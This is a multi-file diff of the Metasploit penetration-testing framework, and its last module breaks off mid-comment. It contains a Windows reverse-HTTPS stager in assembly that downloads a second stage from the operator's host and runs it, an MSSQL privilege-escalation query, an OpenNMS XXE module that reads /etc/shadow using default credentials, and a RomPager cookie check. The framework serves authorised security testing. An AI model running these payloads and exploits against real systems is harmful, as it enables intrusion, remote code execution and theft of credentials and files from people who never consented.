push esi ; hHttpRequest
|
||||
push 0xCE9D58D3 ; hash( "winhttp.dll", "WinHttpSetOption" )
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
; Store our retry counter in the edi register
|
||||
set_retry:
|
||||
push #{retry_count}
|
||||
pop edi
|
||||
|
||||
send_request:
|
||||
|
||||
WinHttpSendRequest:
|
||||
push ebx ; Context [7]
|
||||
push ebx ; TotalLength [6]
|
||||
push ebx ; OptionalLength (0) [5]
|
||||
push ebx ; Optional (NULL) [4]
|
||||
push ebx ; HeadersLength (0) [3]
|
||||
push ebx ; Headers (NULL) [2]
|
||||
push esi ; HttpRequest handle returned by WinHttpOpenRequest [1]
|
||||
push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
|
||||
call ebp
|
||||
test eax,eax
|
||||
jnz check_response ; if TRUE call WinHttpReceiveResponse API
|
||||
|
||||
try_it_again:
|
||||
dec edi
|
||||
jnz send_request
|
||||
|
||||
; if we didn't allocate before running out of retries, fall through
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << %Q^
|
||||
failure:
|
||||
call exitfunk
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
|
||||
# Jump target if the request was sent successfully
|
||||
asm << %Q^
|
||||
check_response:
|
||||
^
|
||||
|
||||
# Verify the SSL certificate hash
|
||||
if verify_ssl
|
||||
|
||||
asm << %Q^
|
||||
ssl_cert_get_context:
|
||||
push 4
|
||||
mov ecx, esp ; Allocate &bufferLength
|
||||
push 0
|
||||
mov ebx, esp ; Allocate &buffer (ebx will point to *pCert)
|
||||
|
||||
push ecx ; &bufferLength
|
||||
push ebx ; &buffer
|
||||
push 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT)
|
||||
push esi ; hHttpRequest
|
||||
push 0x272F0478 ; hash( "winhttp.dll", "WinHttpQueryOption" )
|
||||
call ebp
|
||||
test eax, eax ;
|
||||
jz failure ; Bail out if we couldn't get the certificate context
|
||||
|
||||
; ebx
|
||||
ssl_cert_allocate_hash_space:
|
||||
push 20 ;
|
||||
mov ecx, esp ; Store a reference to the address of 20
|
||||
sub esp,[ecx] ; Allocate 20 bytes for the hash output
|
||||
mov edi, esp ; edi will point to our buffer
|
||||
|
||||
ssl_cert_get_server_hash:
|
||||
push ecx ; &bufferLength
|
||||
push edi ; &buffer (20-byte SHA1 hash)
|
||||
push 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID)
|
||||
push [ebx] ; *pCert
|
||||
push 0xC3A96E2D ; hash( "crypt32.dll", "CertGetCertificateContextProperty" )
|
||||
call ebp
|
||||
test eax, eax ;
|
||||
jz failure ; Bail out if we couldn't get the certificate context
|
||||
|
||||
ssl_cert_start_verify:
|
||||
call ssl_cert_compare_hashes
|
||||
db #{encoded_cert_hash}
|
||||
|
||||
ssl_cert_compare_hashes:
|
||||
pop ebx ; ebx points to our internal 20-byte certificate hash (overwrites *pCert)
|
||||
; edi points to the server-provided certificate hash
|
||||
|
||||
push 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times
|
||||
pop ecx ;
|
||||
mov edx, ecx ; Keep a reference to 4 in edx
|
||||
|
||||
ssl_cert_verify_compare_loop:
|
||||
mov eax, [ebx] ; Grab the next DWORD of the hash
|
||||
cmp eax, [edi] ; Compare with the server hash
|
||||
jnz failure ; Bail out if the DWORD doesn't match
|
||||
add ebx, edx ; Increment internal hash pointer by 4
|
||||
add edi, edx ; Increment server hash pointer by 4
|
||||
loop ssl_cert_verify_compare_loop
|
||||
|
||||
; Our certificate hash was valid, hurray!
|
||||
ssl_cert_verify_cleanup:
|
||||
xor ebx, ebx ; Reset ebx back to zero
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
receive_response:
|
||||
; The API WinHttpReceiveResponse needs to be called
|
||||
; first to get a valid handle for WinHttpReadData
|
||||
push ebx ; Reserved (NULL)
|
||||
push esi ; Request handler returned by WinHttpSendRequest
|
||||
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
|
||||
call ebp
|
||||
test eax,eax
|
||||
jz failure
|
||||
^
|
||||
|
||||
asm << %Q^
|
||||
allocate_memory:
|
||||
push 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x00400000 ; Stage allocation (4Mb ought to do us)
|
||||
push ebx ; NULL as we dont care where the allocation is
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
download_prep:
|
||||
xchg eax, ebx ; place the allocated base address in ebx
|
||||
push ebx ; store a copy of the stage base address on the stack
|
||||
push ebx ; temporary storage for bytes read count
|
||||
mov edi, esp ; &bytesRead
|
||||
|
||||
download_more:
|
||||
push edi ; NumberOfBytesRead (bytesRead)
|
||||
push 8192 ; NumberOfBytesToRead
|
||||
push ebx ; Buffer
|
||||
push esi ; Request handler returned by WinHttpReceiveResponse
|
||||
push 0x7E24296C ; hash( "winhttp.dll", "WinHttpReadData" )
|
||||
call ebp
|
||||
|
||||
test eax,eax ; if download failed? (optional?)
|
||||
jz failure
|
||||
|
||||
mov eax, [edi]
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
|
||||
test eax,eax ; optional?
|
||||
jnz download_more ; continue until it returns 0
|
||||
pop eax ; clear the temporary storage
|
||||
|
||||
execute_stage:
|
||||
ret ; dive into the stored stage address
|
||||
|
||||
got_server_uri:
|
||||
pop edi
|
||||
call got_server_host ; put the server_host on the stack (WinHttpConnect API [2])
|
||||
|
||||
server_host:
|
||||
db #{encoded_host}
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << asm_exitfunk(opts)
|
||||
end
|
||||
asm
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,120 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/reverse_winhttp'
|
||||
require 'rex/parser/x509_certificate'
|
||||
|
||||
module Msf
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Windows ARCH_X86 that speak HTTPS using WinHTTP
|
||||
#
|
||||
###
|
||||
|
||||
|
||||
module Payload::Windows::ReverseWinHttps
|
||||
|
||||
include Msf::Payload::Windows::ReverseWinHttp
|
||||
|
||||
#
|
||||
# Register reverse_winhttps specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('StagerVerifySSLCert', [false, 'Whether to verify the SSL certificate hash in the handler', false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_reverse_winhttps(opts={})
|
||||
combined_asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop ebp
|
||||
#{asm_reverse_winhttp(opts)}
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
|
||||
verify_cert = false
|
||||
verify_cert_hash = nil
|
||||
|
||||
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
|
||||
unless datastore['HandlerSSLCert']
|
||||
raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured"
|
||||
else
|
||||
verify_cert = true
|
||||
hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert'])
|
||||
unless hcert and hcert[0] and hcert[1]
|
||||
raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}"
|
||||
end
|
||||
verify_cert_hash = Rex::Text.sha1_raw(hcert[1].to_der)
|
||||
print_status("Stager will verify SSL Certificate with SHA1 hash #{verify_cert_hash.unpack("H*").first}")
|
||||
end
|
||||
end
|
||||
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
|
||||
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
|
||||
raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available"
|
||||
end
|
||||
|
||||
return generate_reverse_winhttps(
|
||||
ssl: true,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_small_uri,
|
||||
verify_cert: verify_cert,
|
||||
verify_cert_hash: verify_cert_hash,
|
||||
retry_count: datastore['StagerRetryCount'])
|
||||
end
|
||||
|
||||
conf = {
|
||||
ssl: true,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_uri,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
verify_cert: verify_cert,
|
||||
verify_cert_hash: verify_cert_hash,
|
||||
retry_count: datastore['StagerRetryCount']
|
||||
}
|
||||
|
||||
generate_reverse_winhttps(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
space = super
|
||||
|
||||
# SSL support adds 20 bytes
|
||||
space += 20
|
||||
|
||||
# SSL verification adds 120 bytes
|
||||
if datastore['StagerVerifySSLCert']
|
||||
space += 120
|
||||
end
|
||||
|
||||
space
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -88,7 +88,7 @@ class PayloadSet < ModuleSet
|
|||
|
||||
# Cache the payload's size
|
||||
begin
|
||||
sizes[name] = p.new.size
|
||||
sizes[name] = p.cached_size || p.new.size
|
||||
# Don't cache generic payload sizes.
|
||||
rescue NoCompatiblePayloadError
|
||||
end
|
||||
|
|
|
@ -181,7 +181,8 @@ module Rex
|
|||
|
||||
data = ''
|
||||
while data.length < size_wanted
|
||||
data << @file_handler.read(size_wanted - data.length)
|
||||
# Use a 4Mb block size to avoid target memory consumption
|
||||
data << @file_handler.read([size_wanted - data.length, 2**22].min)
|
||||
end
|
||||
attribut << data
|
||||
end
|
||||
|
@ -196,8 +197,11 @@ module Rex
|
|||
#
|
||||
# return the attribute list from the MFT record
|
||||
# deal with resident and non resident attributes (but not $DATA due to performance issue)
|
||||
# if lazy = True, this function only gather essential non resident attributes
|
||||
# (INDEX_ALLOCATION). Non resident attributes can still be gathered later with
|
||||
# cluster_from_attribute_non_resident function.
|
||||
#
|
||||
def mft_record_attribute(mft_record)
|
||||
def mft_record_attribute(mft_record, lazy=true)
|
||||
attribute_list_offset = mft_record[20, 2].unpack('C')[0]
|
||||
curs = attribute_list_offset
|
||||
attribute_identifier = mft_record[curs, 4].unpack('V')[0]
|
||||
|
@ -213,10 +217,11 @@ module Rex
|
|||
res[attribute_identifier] = mft_record[curs + content_offset, content_size]
|
||||
else
|
||||
# non resident
|
||||
if attribute_identifier == DATA_ATTRIBUTE_ID
|
||||
res[attribute_identifier] = mft_record[curs, attribute_size]
|
||||
else
|
||||
if attribute_identifier == INDEX_ALLOCATION_ID or
|
||||
(!lazy and attribute_identifier != DATA_ATTRIBUTE_ID)
|
||||
res[attribute_identifier] = cluster_from_attribute_non_resident(mft_record[curs, attribute_size])
|
||||
else
|
||||
res[attribute_identifier] = mft_record[curs, attribute_size]
|
||||
end
|
||||
end
|
||||
if attribute_identifier == DATA_ATTRIBUTE_ID
|
||||
|
|
|
@ -0,0 +1,62 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'openssl'
|
||||
|
||||
module Rex
|
||||
module Parser
|
||||
|
||||
###
|
||||
#
|
||||
# This class parses the contents of a PEM-encoded X509 certificate file containing
|
||||
# a private key, a public key, and any appended glue certificates.
|
||||
#
|
||||
###
|
||||
class X509Certificate
|
||||
|
||||
#
|
||||
# Parse a certificate in unified PEM format that contains a private key and
|
||||
# one or more certificates. The first certificate is the primary, while any
|
||||
# additional certificates are treated as intermediary certificates. This emulates
|
||||
# the behavior of web servers like nginx.
|
||||
#
|
||||
# @param [String] ssl_cert
|
||||
# @return [String, String, Array]
|
||||
def self.parse_pem(ssl_cert)
|
||||
cert = nil
|
||||
key = nil
|
||||
chain = nil
|
||||
|
||||
certs = []
|
||||
ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem|
|
||||
if pem =~ /PRIVATE KEY/
|
||||
key = OpenSSL::PKey::RSA.new(pem)
|
||||
elsif pem =~ /CERTIFICATE/
|
||||
certs << OpenSSL::X509::Certificate.new(pem)
|
||||
end
|
||||
end
|
||||
|
||||
cert = certs.shift
|
||||
if certs.length > 0
|
||||
chain = certs
|
||||
end
|
||||
|
||||
[key, cert, chain]
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a certificate in unified PEM format from a file
|
||||
#
|
||||
# @param [String] ssl_cert_file
|
||||
# @return [String, String, Array]
|
||||
def self.parse_pem_file(ssl_cert_file)
|
||||
data = ''
|
||||
::File.open(ssl_cert_file, 'rb') do |fd|
|
||||
data << fd.read(fd.stat.size)
|
||||
end
|
||||
parse_pem(data)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -118,13 +118,13 @@ module Rex
|
|||
patch_comm_timeout! blob, options[:comm_timeout]
|
||||
patch_ua! blob, options[:ua]
|
||||
patch_proxy!(blob,
|
||||
options[:proxyhost],
|
||||
options[:proxyport],
|
||||
options[:proxy_host],
|
||||
options[:proxy_port],
|
||||
options[:proxy_type]
|
||||
)
|
||||
patch_proxy_auth!(blob,
|
||||
options[:proxy_username],
|
||||
options[:proxy_password],
|
||||
options[:proxy_user],
|
||||
options[:proxy_pass],
|
||||
options[:proxy_type]
|
||||
)
|
||||
|
||||
|
|
|
@ -449,11 +449,11 @@ class ClientCore < Extension
|
|||
:expiration => self.client.expiration,
|
||||
:comm_timeout => self.client.comm_timeout,
|
||||
:ua => client.exploit_datastore['MeterpreterUserAgent'],
|
||||
:proxyhost => client.exploit_datastore['PROXYHOST'],
|
||||
:proxyport => client.exploit_datastore['PROXYPORT'],
|
||||
:proxy_type => client.exploit_datastore['PROXY_TYPE'],
|
||||
:proxy_username => client.exploit_datastore['PROXY_USERNAME'],
|
||||
:proxy_password => client.exploit_datastore['PROXY_PASSWORD']
|
||||
:proxy_host => client.exploit_datastore['PayloadProxyHost'],
|
||||
:proxy_port => client.exploit_datastore['PayloadProxyPort'],
|
||||
:proxy_type => client.exploit_datastore['PayloadProxyType'],
|
||||
:proxy_user => client.exploit_datastore['PayloadProxyUser'],
|
||||
:proxy_pass => client.exploit_datastore['PayloadProxyPass']
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -2159,13 +2159,13 @@ class Def_kernel32
|
|||
])
|
||||
|
||||
dll.add_function( 'InterlockedCompareExchange', 'DWORD',[
|
||||
["PDWORD","Destination","inout"],
|
||||
["PDWORD","Destination","in"],
|
||||
["DWORD","ExChange","in"],
|
||||
["DWORD","Comperand","in"],
|
||||
])
|
||||
|
||||
dll.add_function( 'InterlockedCompareExchange64', 'LPVOID',[
|
||||
["PBLOB","Destination","inout"],
|
||||
["PBLOB","Destination","in"],
|
||||
["PBLOB","ExChange","in"],
|
||||
["PBLOB","Comperand","in"],
|
||||
])
|
||||
|
@ -2175,7 +2175,7 @@ class Def_kernel32
|
|||
])
|
||||
|
||||
dll.add_function( 'InterlockedExchange', 'DWORD',[
|
||||
["PDWORD","Target","inout"],
|
||||
["PDWORD","Target","in"],
|
||||
["DWORD","Value","in"],
|
||||
])
|
||||
|
||||
|
|
|
@ -380,13 +380,20 @@ class Registry
|
|||
# Returns the integer value associated with the supplied registry value
|
||||
# type (like REG_SZ).
|
||||
#
|
||||
# @see https://msdn.microsoft.com/en-us/library/windows/desktop/ms724884(v=vs.85).aspx
|
||||
# @param type [String] A Windows registry type constant name, e.g. 'REG_SZ'
|
||||
# @return [Integer] one of the `REG_*` constants
|
||||
def self.type2str(type)
|
||||
return REG_SZ if (type == 'REG_SZ')
|
||||
return REG_DWORD if (type == 'REG_DWORD')
|
||||
return REG_BINARY if (type == 'REG_BINARY')
|
||||
return REG_EXPAND_SZ if (type == 'REG_EXPAND_SZ')
|
||||
return REG_NONE if (type == 'REG_NONE')
|
||||
return nil
|
||||
case type
|
||||
when 'REG_BINARY' then REG_BINARY
|
||||
when 'REG_DWORD' then REG_DWORD
|
||||
when 'REG_EXPAND_SZ' then REG_EXPAND_SZ
|
||||
when 'REG_MULTI_SZ' then REG_MULTI_SZ
|
||||
when 'REG_NONE' then REG_NONE
|
||||
when 'REG_SZ' then REG_SZ
|
||||
else
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -2,6 +2,7 @@
|
|||
require 'rex/socket'
|
||||
require 'rex/socket/tcp_server'
|
||||
require 'rex/io/stream_server'
|
||||
require 'rex/parser/x509_certificate'
|
||||
|
||||
###
|
||||
#
|
||||
|
@ -108,25 +109,7 @@ module Rex::Socket::SslTcpServer
|
|||
# @param [String] ssl_cert
|
||||
# @return [String, String, Array]
|
||||
def self.ssl_parse_pem(ssl_cert)
|
||||
cert = nil
|
||||
key = nil
|
||||
chain = nil
|
||||
|
||||
certs = []
|
||||
ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem|
|
||||
if pem =~ /PRIVATE KEY/
|
||||
key = OpenSSL::PKey::RSA.new(pem)
|
||||
elsif pem =~ /CERTIFICATE/
|
||||
certs << OpenSSL::X509::Certificate.new(pem)
|
||||
end
|
||||
end
|
||||
|
||||
cert = certs.shift
|
||||
if certs.length > 0
|
||||
chain = certs
|
||||
end
|
||||
|
||||
[key, cert, chain]
|
||||
Rex::Parser::X509Certificate.parse_pem(ssl_cert)
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -190,10 +190,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
# Attempt to escalate privileges
|
||||
def escalate_privs(imp_user,db_user)
|
||||
def escalate_privs(db_user)
|
||||
|
||||
# Setup Query - Impersonate the first sysadmin user on the list
|
||||
evil_sql = "1;EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember 'MyUser1','sysadmin';Revert;--"
|
||||
evil_sql = "1;EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember '#{db_user}','sysadmin';Revert;--"
|
||||
|
||||
# Execute Query
|
||||
mssql_query(evil_sql)
|
||||
|
|
|
@ -11,7 +11,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Microsoft Internet Explorer 10 and 11 Cross-Domain JavaScript Injection",
|
||||
'Name' => "MS15-018 Microsoft Internet Explorer 10 and 11 Cross-Domain JavaScript Injection",
|
||||
'Description' => %q{
|
||||
This module exploits a universal cross-site scripting (UXSS) vulnerability found in Internet
|
||||
Explorer 10 and 11. By default, you will steal the cookie from TARGET_URI (which cannot
|
||||
|
@ -31,6 +31,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
[
|
||||
[ 'CVE', '2015-0072' ],
|
||||
[ 'OSVDB', '117876' ],
|
||||
[ 'MSB', 'MS15-018' ],
|
||||
[ 'URL', 'http://www.deusen.co.uk/items/insider3show.3362009741042107/'],
|
||||
[ 'URL', 'http://innerht.ml/blog/ie-uxss.html' ],
|
||||
[ 'URL', 'http://seclists.org/fulldisclosure/2015/Feb/10' ]
|
||||
|
|
|
@ -0,0 +1,104 @@
|
|||
require 'msf/core'
|
||||
require 'openssl'
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'OpenNMS Authenticated XXE',
|
||||
'Description' => %q{
|
||||
OpenNMS is vulnerable to XML External Entity Injection in the Real-Time Console interface.
|
||||
Although this attack requires authentication, there are several factors that increase the
|
||||
severity of this vulnerability.
|
||||
|
||||
1. OpenNMS runs with root privileges, taken from the OpenNMS FAQ: "The difficulty with the
|
||||
core of OpenNMS is that these components need to run as root to be able to bind to low-numbered
|
||||
ports or generate network traffic that requires root"
|
||||
|
||||
2. The user that you must authenticate as is the "rtc" user which has the default password of
|
||||
"rtc". There is no mention of this user in the installation guides found here:
|
||||
http://www.opennms.org/wiki/Tutorial_Installation, only mention that you should change the default
|
||||
admin password of "admin" for security purposes.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Stephen Breen <breenmachine[at]gmail.com>', # discovery
|
||||
'Justin Kennedy <jstnkndy[at]gmail.com>', # metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2015-0975']
|
||||
],
|
||||
'DisclosureDate' => 'Jan 08 2015'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8980),
|
||||
OptBool.new('SSL', [false, 'Use SSL', false]),
|
||||
OptString.new('TARGETURI', [ true, "The base path to the OpenNMS application", '/opennms/']),
|
||||
OptString.new('FILEPATH', [true, "The file or directory to read on the server", "/etc/shadow"]),
|
||||
OptString.new('USERNAME', [true, "The username to authenticate with", "rtc"]),
|
||||
OptString.new('PASSWORD', [true, "The password to authenticate with", "rtc"])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
print_status("Logging in to grab a valid session cookie")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'),
|
||||
'vars_post' => {
|
||||
'j_username' => datastore['USERNAME'],
|
||||
'j_password' => datastore['PASSWORD'],
|
||||
'Login'=> 'Login'
|
||||
},
|
||||
})
|
||||
|
||||
if res.nil?
|
||||
fail_with(Failure::Unreachable, "No response from POST request")
|
||||
elsif res.code != 302
|
||||
fail_with(Failure::UnexpectedReply, "Non-302 response from POST request")
|
||||
end
|
||||
|
||||
unless res.headers["Location"].include? "index.jsp"
|
||||
fail_with(Failure::NoAccess, 'Authentication failed')
|
||||
end
|
||||
|
||||
cookie = res.get_cookies
|
||||
|
||||
print_status("Got cookie, going for the goods")
|
||||
|
||||
rand_doctype = Rex::Text.rand_text_alpha(rand(1..10))
|
||||
rand_entity1 = Rex::Text.rand_text_alpha(rand(1..10))
|
||||
rand_entity2 = Rex::Text.rand_text_alpha(rand(1..10))
|
||||
delimiter = SecureRandom.uuid
|
||||
|
||||
xxe = %Q^<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<!DOCTYPE #{rand_doctype} [
|
||||
<!ELEMENT #{rand_entity1} ANY >
|
||||
<!ENTITY #{rand_entity2} SYSTEM "file://#{datastore["FILEPATH"]}" >
|
||||
]><#{rand_entity1}>#{delimiter}&#{rand_entity2};#{delimiter}</#{rand_entity1}>^
|
||||
|
||||
res = send_request_raw({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'rtc', 'post/'),
|
||||
'data' => xxe,
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
# extract filepath data from response
|
||||
if res && res.code == 400 && res.body =~ /title.+#{delimiter}(.+)#{delimiter}.+title/m
|
||||
result = $1
|
||||
print_good("#{result}")
|
||||
else
|
||||
fail_with(Failure::Unknown, 'Error fetching file, try another')
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
@ -27,38 +27,165 @@ class Metasploit4 < Msf::Auxiliary
|
|||
],
|
||||
'References' => [
|
||||
['CVE', '2014-9222'],
|
||||
['URL', 'http://mis.fortunecook.ie']
|
||||
['URL', 'http://mis.fortunecook.ie'],
|
||||
['URL', 'http://mis.fortunecook.ie/misfortune-cookie-suspected-vulnerable.pdf'], # list of likely vulnerable devices
|
||||
['URL', 'http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf'] # 31C3 presentation with POC
|
||||
],
|
||||
'DisclosureDate' => 'Dec 17 2014',
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'Path to fingerprint RomPager from', '/Allegro'])
|
||||
], self.class)
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'URI to test', '/'])
|
||||
], Exploit::Remote::HttpClient
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('CANARY_URI', [false, 'Try overwriting the requested URI with this canary value (empty for random)']),
|
||||
OptString.new('STATUS_CODES_REGEX', [true, 'Ensure that canary pages and probe responses have status codes that match this regex', '^40[134]$'])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def check_host(ip)
|
||||
res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s), 'method' => 'GET')
|
||||
fp = http_fingerprint(response: res)
|
||||
if /RomPager\/(?<version>[\d\.]+)$/ =~ fp
|
||||
if Gem::Version.new(version) < Gem::Version.new('4.34')
|
||||
report_vuln(
|
||||
host: ip,
|
||||
port: rport,
|
||||
name: name,
|
||||
refs: references
|
||||
)
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
def check_host(_ip)
|
||||
begin
|
||||
test_misfortune
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
print_good("#{peer} appears to be vulnerable") if check_host(ip) == Exploit::CheckCode::Appears
|
||||
status = check_host(ip)
|
||||
case status
|
||||
when Exploit::CheckCode::Appears
|
||||
when Exploit::CheckCode::Detected
|
||||
when Exploit::CheckCode::Vulnerable
|
||||
print_good("#{peer} #{status.last}")
|
||||
else
|
||||
vprint_status("#{peer} #{status.last}")
|
||||
end
|
||||
end
|
||||
|
||||
def setup
|
||||
@status_codes_regex = Regexp.new(datastore['STATUS_CODES_REGEX'])
|
||||
end
|
||||
|
||||
# Fingerprints the provided HTTP response and returns
|
||||
# Exploit::CheckCode::Appears if it is a vulnerable version of RomPager,
|
||||
# otherwise returns the provided fall-back status.
|
||||
def check_response_fingerprint(res, fallback_status)
|
||||
fp = http_fingerprint(response: res)
|
||||
if /RomPager\/(?<version>[\d\.]+)/ =~ fp
|
||||
vprint_status("#{peer} is RomPager #{version}")
|
||||
if Gem::Version.new(version) < Gem::Version.new('4.34')
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
end
|
||||
fallback_status
|
||||
end
|
||||
|
||||
def find_canary
|
||||
vprint_status("#{peer} locating suitable canary URI")
|
||||
canaries = []
|
||||
if datastore['CANARY_URI']
|
||||
canaries << datastore['CANARY_URI']
|
||||
else
|
||||
# several random URIs in the hopes that one, generally the first, will be usable
|
||||
0.upto(4) { canaries << '/' + Rex::Text.rand_text_alpha(16) }
|
||||
end
|
||||
|
||||
canaries.each do |canary|
|
||||
res = send_request_raw(
|
||||
'uri' => normalize_uri(canary),
|
||||
'method' => 'GET',
|
||||
'headers' => headers
|
||||
)
|
||||
# in most cases, the canary URI will not exist and will return a 404, but
|
||||
# if everything under TARGETURI is protected by auth, a 401 may be OK too.
|
||||
# but, regardless, respect the configuration set for this module
|
||||
return [canary, res.code] if res && res.code.to_s =~ @status_codes_regex
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
def headers
|
||||
{
|
||||
'Referer' => full_uri
|
||||
}
|
||||
end
|
||||
|
||||
# To test for this vulnerability, we must first find a URI known to return
|
||||
# a 404 (not found) which we will use as a canary. This URI (for example,
|
||||
# /foo) is then taken and used as the value for a carefully crafted cookie
|
||||
# when making a request to the configured host+port+uri. If the response
|
||||
# is a 404 and the body includes the canary, it is likely that the cookie
|
||||
# overwrote RomPager's concept of the requested URI, indicating that it is
|
||||
# vulnerable.
|
||||
def test_misfortune
|
||||
# find a usable canary URI (one that returns an acceptable status code already)
|
||||
if canary = find_canary
|
||||
canary_value, canary_code = canary
|
||||
vprint_status("#{peer} found canary URI #{canary_value} with code #{canary_code}")
|
||||
else
|
||||
vprint_error("#{peer} Unable to find a suitable canary URI")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
canary_cookie_name = 'C107373883'
|
||||
canary_cookie = canary_cookie_name + "=#{canary_value};"
|
||||
|
||||
# Make a request containing a specific canary cookie name with the value set
|
||||
# from the suitable canary value found above.
|
||||
res = send_request_raw(
|
||||
'uri' => normalize_uri(target_uri.path.to_s),
|
||||
'method' => 'GET',
|
||||
'headers' => headers.merge('Cookie' => canary_cookie)
|
||||
)
|
||||
|
||||
unless res
|
||||
vprint_error("#{full_uri} no response")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
unless res.code.to_s =~ @status_codes_regex
|
||||
vprint_status("#{full_uri} unexpected HTTP code #{res.code} response")
|
||||
return check_response_fingerprint(res, Exploit::CheckCode::Detected)
|
||||
end
|
||||
|
||||
unless res.body
|
||||
vprint_status("#{full_uri} HTTP code #{res.code} had no body")
|
||||
return check_response_fingerprint(res, Exploit::CheckCode::Detected)
|
||||
end
|
||||
|
||||
# If that canary *value* shows up in the *body*, then there are two possibilities:
|
||||
#
|
||||
# 1) If the canary cookie *name* is also in the *body*, it is likely that
|
||||
# the endpoint is puppeting back our request to some extent and therefore
|
||||
# it is expected that the canary cookie *value* would also be there.
|
||||
